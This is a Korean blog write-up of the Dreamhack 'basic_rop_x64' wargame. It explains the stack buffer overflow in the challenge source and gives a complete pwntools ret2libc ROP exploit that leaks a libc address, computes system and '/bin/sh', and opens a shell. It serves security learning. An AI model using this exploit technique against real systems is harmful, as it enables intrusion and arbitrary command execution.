문제 풀이/Write-up

[Write-up] basic_rop_x64 write-up

poiri3r 2025. 10. 4. 15:17

https://dreamhack.io/wargame/challenges/29

 

basic_rop_x64

Description이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요."flag" 파일의

dreamhack.io

 

오늘은 드림핵의 basic_rop_x64 write up을 작성해보겠습니다.

이 문제도 이름처럼 rop와 관련된 문제입니다.

문제에 libc.so.6을 포함한 5개파일이 제공됩니다.

먼저 보호 기법을 확인해보겠습니다.

지금까지 풀었던 문제와 다르게 Canary가 없고, NX만 활성화 된 상태입니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

소스코드는 다음과 같은데 alarm_handler랑 initialize는 워게임 편의를 위해 제공 되는 함수라 사실 아래 소스코드만 보시면 될 것 같습니다.

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

이젠 딱 봐도 버퍼 오버플로우가 발생하는 코드라는 건 쉽게 알 수 있습니다.

NX가 있어 셸코드를 실행시키는게 불가능하므로 ROP를 사용하여 system("/bin/sh")를 실행하는 것을 목표로 하겠습니다.

 

버퍼는 0x40 = 64바이트만큼 입력을 저장하고 패딩 0x8을 더하면 buf가 할당된 바이트에서 72바이트를 입력하면 RET값을 원하는 값으로 설정할 수 있습니다.

 

이제 system함수 주소를 계산해야합니다.

저희가 여태까지 했던 것 처럼, 라이브러리의 Base 주소를 구하면 Base주소 + system함수의 offset을 통해 system 함수의 주소를 구할 수 있습니다.

 

소스코드에서 선언된 read함수의 GOT 값을 읽으면 system함수의 주소를 구할수 있습니다.

 

다음으로 /bin/sh라는 문자열을 찾아야하는데, 해당 문자열은 대부분의 경우 libc.so.6안에 매핑되어있다고 합니다.

이것도 동일하게 Base주소 + 문자열 오프셋으로 주소를 구해야합니다.

p = remote("host",port)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"]

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]

 

이렇게 기본 세팅만 해줬습니다.

plt주소를 gdb에서 찾고 직접 숫자로 넣어도 상관없는데, 일단 이게 더 편한것 같아 이렇게 넣었습니다.

 

이제 가젯들도 찾아주겠습니다.

 ROPgadget --binary ./basic_rop_x64 --re "pop rdi"

 ROPgadget --binary ./basic_rop_x64 --re "pop rsi"

ROPgadget --binary ./basic_rop_x64 --re "ret"

 

이제 페이로드를 작성해보겠습니다.

먼저 버퍼 크기 + 패딩해서 A * 48 만큼 보내야합니다.

payload = b'A' * 0x48

#write (1, read@got, )
payload += p64(poprdi) + p64(1) + p64(poprsi) + p64(read_got) + p64(8)
payload += p64(write_plt)

 

다음 return to main을 위해 main 주소를 추가해줍니다.

payload += p64(main)

 

다음 payload를 send한 뒤 write로 인해 출력되는 A * 0x40을 recv해준 뒤 출력되는 문자열을 저장합니다.

p.send(payload)
p.recvuntil(b"A"  * 0x40)
read = u64(p.recvn(6)+b'\x00'*2)

 

해당 read값에 담겨있는 주소를 바탕으로 system함수의 주소와 binsh문자열의 주소를 담습니다.

lb = read - read_offset  #라이브러리 베이스 계산
system = lb + system_offset  #시스템 주소
binsh = lb + sh #문자열의 주소

 

다음으로 다시 main으로 돌아왔으니 payload를 다시 작성해서 system("/bin/sh")를 호출해주면 완성됩니다

#2차 페이로드
payload = b'A' * 0x48
payload += p64(poprdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b"A" * 0x40)

p.interactive()

 

서버에 연결하면 다음과 같이 flag를 획득 할 수 있습니다!

 

다음은 익스플로잇 전문입니다.

from pwn import*

p = remote("host", port)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

#plt&got
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"]
#libc 주소
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]

#gadget
poprdi = 0x0000000000400883
poprsi = 0x0000000000400881
ret = 0x00000000004005a9

payload = b'A' * 0x48

#write (1, read@got, 8)
payload += p64(poprdi) + p64(1) + p64(poprsi) + p64(read_got) + p64(8)
payload += p64(write_plt)

#return to main
payload += p64(main)

p.send(payload)
p.recvuntil(b"A"  * 0x40)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset  #라이브러리 베이스 계산
system = lb + system_offset  #시스템 주소
binsh = lb + sh #문자열의 주소

#2차 페이로드
payload = b'A' * 0x48
payload += p64(poprdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b"A" * 0x40)

p.interactive()

 

저번에 풀었던 rop보다는 카나리가 없으니 체감은 훨~씬 쉬운거같은데 그래도 아직 익숙하지가 않아 너무 어려운 것 같습니다..

복습을 열심히 해야겠네요 ㅜ

읽어주셔서 감사합니다.